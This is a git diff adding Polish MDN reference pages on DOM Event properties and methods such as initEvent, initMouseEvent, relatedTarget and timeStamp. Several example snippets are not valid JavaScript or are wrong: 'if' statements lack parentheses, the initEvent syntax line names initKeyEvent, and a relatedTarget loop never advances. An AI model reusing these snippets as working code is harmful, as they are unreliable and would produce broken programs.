href="pl/Zmiany_w_Gecko_1.9_wp%c5%82ywaj%c4%85ce_na_wy%c5%9bwietlanie_stron">usunięta w Gecko 1.9</a>.</dd> + <dt><a href="pl/DOM/event.preventDefault">event.preventDefault</a></dt> + <dd>Anuluje zdarzenie (jeśli można je anulować).</dd> + <dt><a href="pl/DOM/event.stopPropagation">event.stopPropagation</a></dt> + <dd>Zatrzymuje dalsze propagowanie bieżącego zdarzenia w DOM.</dd> +</dl> + + + +<div class="noinclude"></div> + +<p>{{ languages( { "en": "en/DOM/event", "es": "es/DOM/event", "fr": "fr/DOM/event", "ja": "ja/DOM/event" } ) }}</p> diff --git a/files/pl/web/api/event/initevent/index.html b/files/pl/web/api/event/initevent/index.html new file mode 100644 index 0000000000..47af034ed8 --- /dev/null +++ b/files/pl/web/api/event/initevent/index.html @@ -0,0 +1,45 @@ +--- +title: event.initEvent +slug: Web/API/Event/initEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event/initEvent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda służy do zainicjalizowania zdarzenia utworzonego za pomocą <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">interfejsu DocumentEvent</a></p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">event.initKeyEvent(<i>type</i>,<i>bubbles</i>,<i>cancelable</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <code>type</code></dt> + <dd> + Typ zdarzenia.</dd> + <dt> + <code>bubbles</code></dt> + <dd> + Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. <a href="pl/DOM/event.bubbles">bubbles</a>).</dd> + <dt> + <code>cancelable</code></dt> + <dd> + Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. <a href="pl/DOM/event.cancelable">cancelable</a>).</dd> +</dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// utwórz zdarzenie kliknięcia, które bąbelkuje +// i nie może być anulowane +event.initEvent("click", true, false); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zdarzenia inicjalizowane w ten sposób muszą zostać utworzone za pomocą metody <a href="pl/DOM/document.createEvent">createEvent</a> interfejsu DocumentEvent. Metoda <b>initEvent</b> musi być wywołana by ustawić zdarzenie przed jego wywołaniem (za pomocą <a href="pl/DOM/element.dispatchEvent">dispatchEvent</a>).</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-3-Events-20010823/events.html#Events-Event-initEvent">initEvent</a></p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.initEvent", "es": "es/DOM/event.initEvent", "fr": "fr/DOM/event.initEvent", "ja": "ja/DOM/event.initEvent" } ) }}</p> diff --git a/files/pl/web/api/event/initmouseevent/index.html b/files/pl/web/api/event/initmouseevent/index.html new file mode 100644 index 0000000000..e9de804697 --- /dev/null +++ b/files/pl/web/api/event/initmouseevent/index.html @@ -0,0 +1,86 @@ +--- +title: event.initMouseEvent +slug: Web/API/Event/initMouseEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/initMouseEvent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Inicjuje zdarzenie myszy po jego utworzeniu (za pomocą metody <a href="pl/DOM/document.createEvent">createEvent</a> interfejsu <code>DocumentEvent</code>).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>event</i>.initMouseEvent(<i>type</i>,<i>canBubble</i>,<i>cancelable</i>,<i>view</i>,<i>detail</i>,<i>screenX</i>,<i>screenY</i>,<i>clientX</i>,<i>clientY</i>,<i>ctrlKey</i>,<i>altKey</i>,<i>shiftKey</i>,<i>metaKey</i>,<i>button</i>,<i>relatedTarget</i>); +</pre> +<dl> + <dt> + <code>type</code></dt> + <dd> + łańcuch znaków do ustawienia <a href="pl/DOM/event.type">typu</a> zdarzeń. Możliwe typy dla zdarzeń myszy: <code>click</code>, <code>mousedown</code>, <code>mouseup</code>, <code>mouseover</code>, <code>mousemove</code>, <code>mouseout</code>.</dd> + <dt> + <code>canBubble</code></dt> + <dd> + czy zdarzenie bąbelkuje. Ustawia wartość <a href="pl/DOM/event.bubbles">event.bubbles</a>.</dd> + <dt> + <code>cancelable</code></dt> + <dd> + czy domyślna akcja zdarzenia może być anulowana. Ustawia Ustawia wartość <a href="pl/DOM/event.cancelable">event.cancelable</a>.</dd> + <dt> + <code>view</code></dt> + <dd> + AbstractView zdarzenia. You should pass the <a href="pl/DOM/window">window</a> object here. Ustawia wartość <a href="pl/DOM/event.view">event.view</a>.</dd> + <dt> + <code>detail</code></dt> + <dd> + wartość licznika kliknięć myszą. Ustawia wartość <a href="pl/DOM/event.detail">event.detail</a>.</dd> + <dt> + <code>screenX</code></dt> + <dd> + współrzędna x względem ekranu. Ustawia wartość <a href="pl/DOM/event.screenX">event.screenX</a>.</dd> + <dt> + <code>screenY</code></dt> + <dd> + współrzędna y względem ekranu. Ustawia wartość <a href="pl/DOM/event.screenY">event.screenY</a>.</dd> + <dt> + <code>clientX</code></dt> + <dd> + współrzędna x w obszarze klienta. Ustawia wartość <a href="pl/DOM/event.clientX">event.clientX</a>.</dd> + <dt> + <code>clientY</code></dt> + <dd> + współrzędna y w obszarze klienta. Ustawia wartość <a href="pl/DOM/event.clientY">event.clientY</a>.</dd> + <dt> + <code>ctrlKey</code></dt> + <dd> + czy klawisz control był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.ctrlKey">event.ctrlKey</a>.</dd> + <dt> + <code>altKey</code></dt> + <dd> + czy klawisz alt był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.altKey">event.altKey</a>.</dd> + <dt> + <code>shiftKey</code></dt> + <dd> + czy klawisz shift był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.shiftKey">event.shiftKey</a>.</dd> + <dt> + <code>metaKey</code></dt> + <dd> + czy klawisz meta był wciśnięty podczas zdarzenia. Ustawia wartość <a href="pl/DOM/event.metaKey">event.metaKey</a>.</dd> + <dt> + <code>button</code></dt> + <dd> + zdarzenie myszy <a href="pl/DOM/event.button">event.button</a>.</dd> + <dt> + <code>relatedTarget</code></dt> + <dd> + zdarzenie <a href="pl/DOM/event.relatedTarget">related EventTarget</a>. Stosowane tylko z kilkoma typami zdarzeń (np. <code>mouseover</code> i <code>mouseout</code>). W innych przypadkach, zwraca <code>null</code>.</dd> +</dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p> </p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-initMouseEvent">DOM Level 2 Events: initMouseEvent</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.initMouseEvent", "es": "es/DOM/event.initMouseEvent" } ) }}</p> diff --git a/files/pl/web/api/event/inituievent/index.html b/files/pl/web/api/event/inituievent/index.html new file mode 100644 index 0000000000..3a20fef39d --- /dev/null +++ b/files/pl/web/api/event/inituievent/index.html @@ -0,0 +1,49 @@ +--- +title: event.initUIEvent +slug: Web/API/Event/initUIEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/initUIEvent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Inicjalizuje utworzone wcześniej zdarzenie interfejsu użytkownika.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">event.initUIEvent(<i>type</i>,<i>canBubble</i>,<i>cancelable</i>,<i>view</i>,<i>detail</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <code>type</code></dt> + <dd> + typ zdarzenia</dd> + <dt> + <code>canBubble</code></dt> + <dd> + Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. <a href="pl/DOM/event.bubbles">bubbles</a>).</dd> + <dt> + <code>cancelable</code></dt> + <dd> + Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. <a href="pl/DOM/event.cancelable">cancelable</a>).</dd> + <dt> + <code>view</code></dt> + <dd> + widok (<a href="pl/DOM/AbstractView">AbstractView</a>) powiązany z tym zdarzeniem</dd> + <dt> + <code>detail</code></dt> + <dd> + liczba określająca szczegółową informację dla tego zdarzenia; dla zdarzeń myszy jest to liczba kliknięć w danym miejscu ekranu (zwykle 1).</dd> +</dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">e = document.createEvent("UIEvents"); +// tworzy zdarzenie kliknięcia, które bąbelkuje, może być +// anulowane i którego widok i szczegółowa informacja +// to odpowiednio window i 1 +e.initUIEvent("click", true, true, window, 1); +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-3-Events-20010823/events.html#Events-Event-initUIEvent">initUIEvent </a></p> +<p>{{ languages( { "en": "en/DOM/event.initUIEvent" } ) }}</p> diff --git a/files/pl/web/api/event/ischar/index.html b/files/pl/web/api/event/ischar/index.html new file mode 100644 index 0000000000..fc7a7dfec9 --- /dev/null +++ b/files/pl/web/api/event/ischar/index.html @@ -0,0 +1,24 @@ +--- +title: event.isChar +slug: Web/API/Event/isChar +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/isChar +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">bool = event.isChar +</pre> +<h3 id="Example" name="Example">Example</h3> +<pre> if e.isChar + echoInput(e.type); + } +</pre> +<h3 id="Notes" name="Notes">Notes</h3> +<p>Niektórze kombinacje klawiszy mogą wywyoływać zdarzenia bez wystąpienia znaku (np. ctrl + alt). Wtedy <b>isChar</b> zwraca fałsz. <b>isChar</b> może być użyty, kiedy funkcje obsługujące zdarzenie potrzebują np. wyświetlić wprowadzony znak na ekranie.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/event.isChar" } ) }}</p> diff --git a/files/pl/web/api/event/keycode/index.html b/files/pl/web/api/event/keycode/index.html new file mode 100644 index 0000000000..a11c37d4b0 --- /dev/null +++ b/files/pl/web/api/event/keycode/index.html @@ -0,0 +1,23 @@ +--- +title: event.keyCode +slug: Web/API/Event/keyCode +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/KeyboardEvent/keyCode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a> lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">klawisz = event.keyCode +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>klawisz</code> jest wartością kodu Unicode klawisza, który został wciśnięty w tym zdarzeniu.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz opis właściwości <a href="pl/DOM/event.charCode">charCode</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do specyfikacji. Zobacz <a href="pl/NsIDOMKeyEvent">nsIDOMKeyEvent</a>.</p> +<p>{{ languages( { "en": "en/DOM/event.keyCode" } ) }}</p> diff --git a/files/pl/web/api/event/layerx/index.html b/files/pl/web/api/event/layerx/index.html new file mode 100644 index 0000000000..5a69b4c864 --- /dev/null +++ b/files/pl/web/api/event/layerx/index.html @@ -0,0 +1,15 @@ +--- +title: event.layerX +slug: Web/API/Event/layerX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/layerX +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczba</i> = event.layerX +</pre> +<p>{{ languages( { "en": "en/DOM/event.layerX" } ) }}</p> diff --git a/files/pl/web/api/event/layery/index.html b/files/pl/web/api/event/layery/index.html new file mode 100644 index 0000000000..f610d08357 --- /dev/null +++ b/files/pl/web/api/event/layery/index.html @@ -0,0 +1,17 @@ +--- +title: event.layerY +slug: Web/API/Event/layerY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/layerY +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczba</i> = event.layerY +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/event.layerY" } ) }}</p> diff --git a/files/pl/web/api/event/metakey/index.html b/files/pl/web/api/event/metakey/index.html new file mode 100644 index 0000000000..a2c2758fb3 --- /dev/null +++ b/files/pl/web/api/event/metakey/index.html @@ -0,0 +1,30 @@ +--- +title: event.metaKey +slug: Web/API/Event/metaKey +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/metaKey +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wartość logiczną wskazującą, czy klawisz <meta> był wciśnięty podczas wywołania zdarzenia.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function goInput(e) { + // sprawdza metaKey + if (e.metaKey) { + // i przekazuje zdarzenie dalej + superSizeOutput(e); + + } else { + doOutput(e); + } + } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Na niekótrych platformach metaKey może obsługiwać klawisz o innej nazwie.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-metaKey">metaKey</a></p> +<p>{{ languages( { "en": "en/DOM/event.metaKey" } ) }}</p> diff --git a/files/pl/web/api/event/pagex/index.html b/files/pl/web/api/event/pagex/index.html new file mode 100644 index 0000000000..98c3c3e1ed --- /dev/null +++ b/files/pl/web/api/event/pagex/index.html @@ -0,0 +1,17 @@ +--- +title: event.pageX +slug: Web/API/Event/pageX +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/pageX +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczba</i> = event.pageX +</pre> +<p>{{ languages( { "en": "en/DOM/event.pageX", "es": "es/DOM/event.pageX" } ) }}</p> diff --git a/files/pl/web/api/event/pagey/index.html b/files/pl/web/api/event/pagey/index.html new file mode 100644 index 0000000000..d82e2237df --- /dev/null +++ b/files/pl/web/api/event/pagey/index.html @@ -0,0 +1,15 @@ +--- +title: event.pageY +slug: Web/API/Event/pageY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/pageY +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczba</i> = event.pageY +</pre> +<p>{{ languages( { "en": "en/DOM/event.pageY" } ) }}</p> diff --git a/files/pl/web/api/event/relatedtarget/index.html b/files/pl/web/api/event/relatedtarget/index.html new file mode 100644 index 0000000000..c67389532a --- /dev/null +++ b/files/pl/web/api/event/relatedtarget/index.html @@ -0,0 +1,56 @@ +--- +title: event.relatedTarget +slug: Web/API/Event/relatedTarget +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/relatedTarget +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje na drugi cel zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">eventTarget = event.relatedTarget +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>eventTarget</code> to referencja do dodatkowego celu zdarzenia (obiektu <code>EventTarget</code>).</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>var rel = event.relatedTarget; +// dump("LEAVING " + (rel ? rel.localName : "null") + "\n"); +// relatedTarget is null when the titletip is first shown: +// a mouseout event fires because the mouse is exiting +// the main window and entering the titletip "window". +// relatedTarget is also null when the mouse exits the main +// window completely, so count how many times relatedTarget +// was null after titletip is first shown and hide popup +// the 2nd time +if (!rel) { + ++this._mouseOutCount; + if (this._mouseOutCount > 1) + this.hidePopup(); + return; +} +// find out if the node we are entering is one of our +// anonymous children +while (rel) { + if (rel == this) + break; + rel.parentNode; +} +// if the entered node is not a descendant of ours, hide +// the tooltip +if (rel != this && this._isMouseOver) { + this.hidePopup(); +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Za specyfikacją W3C: "Obecnie ten atrybuty używany jest przy zdarzeniu <a href="pl/DOM/element.onmouseover">mouseover</a>, gdzie kieruje do <code>EventTarget</code>, jaki opuściło urządzenie wskazujące oraz przy zdarzeniu <a href="pl/DOM/element.onmouseout">mouseout</a>, gdzie kieruje do EventTarget, w który weszło urządzenie wskazujące."</p> +<p>Powyzszy przykład jest typowy - właściwość <b>relatedTarget</b> używana jest by znaleźć, jeśli jest związany z tym zdarzeniem, kolejny element. Zdarzenia takie jak najechanie myszą ( + <i> + mouseover</i> + ) są powiązane z konkretnym elementem docelowym, ale mogą też angażować drugi cel, jak np. element opuszczany przez mysz w momencie, gdy najechania na główny cel.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-relatedTarget">relatedTarget </a></p> +<p>{{ languages( { "en": "en/DOM/event.relatedTarget" } ) }}</p> diff --git a/files/pl/web/api/event/screenx/index.html b/files/pl/web/api/event/screenx/index.html new file mode 100644 index 0000000000..5bafc490da --- /dev/null +++ b/files/pl/web/api/event/screenx/index.html @@ -0,0 +1,33 @@ +--- +title: event.screenX +slug: Web/API/Event/screenX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/screenX +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczbaPikseli</i> = event.screenX +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>liczbaPikseli</code> to odległość od lewej strony ekranu wyrażona w pikselach.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function checkClickMap(e) { + if e.screenX < 50 + doRedButton(); + if 50 <= e.screenX < 100 + doYellowButton(); + if e.screenX >= 100 + doRedButton(); + } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo, tak jak pokazuje powyższy przykład.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-screenX">screenX </a></p> +<p>{{ languages( { "en": "en/DOM/event.screenX" } ) }}</p> diff --git a/files/pl/web/api/event/screeny/index.html b/files/pl/web/api/event/screeny/index.html new file mode 100644 index 0000000000..8b59c5a5e6 --- /dev/null +++ b/files/pl/web/api/event/screeny/index.html @@ -0,0 +1,23 @@ +--- +title: event.screenY +slug: Web/API/Event/screenY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/screenY +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczbaPikseli</i> = event.screenY +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>liczbaPikseli</code> to odległość od góry ekranu wyrażona w pikselach.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo. Zobacz przykład do <a href="pl/DOM/event.screenX">screenX</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-screenY">screenY </a></p> +<p>{{ languages( { "en": "en/DOM/event.screenY" } ) }}</p> diff --git a/files/pl/web/api/event/shiftkey/index.html b/files/pl/web/api/event/shiftkey/index.html new file mode 100644 index 0000000000..1c09a012ce --- /dev/null +++ b/files/pl/web/api/event/shiftkey/index.html @@ -0,0 +1,26 @@ +--- +title: event.shiftKey +slug: Web/API/Event/shiftKey +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/shiftKey +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy klawisz <shift> był wciśnięty przy wywołaniu zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">bool = event.shiftKey +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> function goInput(e) { + // sprawdza shiftKey + if e.shiftKey + // i przekazuje zdarzenie dalej + superSizeOutput(e); + else + doOutput(e) +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-shiftKey">shiftKey </a></p> +<p>{{ languages( { "en": "en/DOM/event.shiftKey" } ) }}</p> diff --git a/files/pl/web/api/event/stoppropagation/index.html b/files/pl/web/api/event/stoppropagation/index.html new file mode 100644 index 0000000000..3026d761b3 --- /dev/null +++ b/files/pl/web/api/event/stoppropagation/index.html @@ -0,0 +1,26 @@ +--- +title: event.stopPropagation +slug: Web/API/Event/stopPropagation +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event/stopPropagation +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przerywa dalsze propagowanie bieżącego zdarzenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>event</i>.stopPropagation() +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>e.stopPropagation(); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 5: Propagowanie zdarzeń</a> w rozdziale <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykłady użycia DOM</a> dokładniej obrazuje użycie tej metody i propagowanie zdarzeń w DOM.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-stopPropagation">DOM Level 2 Events: stopPropagation</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/event.stopPropagation", "ja": "ja/DOM/event.stopPropagation" } ) }}</p> diff --git a/files/pl/web/api/event/target/index.html b/files/pl/web/api/event/target/index.html new file mode 100644 index 0000000000..b9df9f7b4f --- /dev/null +++ b/files/pl/web/api/event/target/index.html @@ -0,0 +1,27 @@ +--- +title: event.target +slug: Web/API/Event/target +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Event/target +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca referencję do elementu, do którego zdarzenie zostało pierwotnie wysłane.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>referencjaDoEventTarget</i> = event.target +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>referencjaDoEventTarget</code> to referencja do obiektu EventTarget</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> d = document.getElementById("d1"); + if e.target != d + resetGame(); + // nie nasze zdarzenie +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-target">target</a></p> +<p>{{ languages( { "en": "en/DOM/event.target" } ) }}</p> diff --git a/files/pl/web/api/event/timestamp/index.html b/files/pl/web/api/event/timestamp/index.html new file mode 100644 index 0000000000..daead28251 --- /dev/null +++ b/files/pl/web/api/event/timestamp/index.html @@ -0,0 +1,47 @@ +--- +title: event.timeStamp +slug: Web/API/Event/timeStamp +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Event/timeStamp +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca czas (w milisekundach od momentu Epoch), kiedy zdarzenie zostało utworzone.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>number</i> = event.timeStamp +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> +<head> + +<title>Przykład timeStamp</title> + +<script type="text/javascript"> +var curr_time = null; + +function getTime(evt) { + curr_time = evt.timeStamp; + document.getElementById("time").firstChild.nodeValue = curr_time; +} +</script> +</head> + +<body onkeypress="getTime(event)"> + +<p>Naciśnij jakikolwiek klawisz, aby pobrać aktualny timestamp +dla zdarzenia onkeypress.</p> +<p>timeStamp: <span id="time">-</span></p> + +</body> +</html> +</pre> +<p> </p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Ta własność działa tylko wtedy, gdy system obsługuje ją dla danego zdarzenia.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-timeStamp">timestamp</a></p> +<p>{{ languages( { "en": "en/DOM/event.timeStamp" } ) }}</p> diff --git a/files/pl/web/api/event/type/index.html b/files/pl/web/api/event/type/index.html new file mode 100644 index 0000000000..dfc2875af1 --- /dev/null +++ b/files/pl/web/api/event/type/index.html @@ -0,0 +1,19 @@ +--- +title: event.type +slug: Web/API/Event/type +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Event/type +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca nazwę zdarzenia (niewrażliwe na wielkość znaków).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>string</i> = event.type +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>type</code> jest <a class="external" href="http://www.w3.org/TR/1998/REC-xml-19980210#NT-Name">nazwą XML-ową</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" 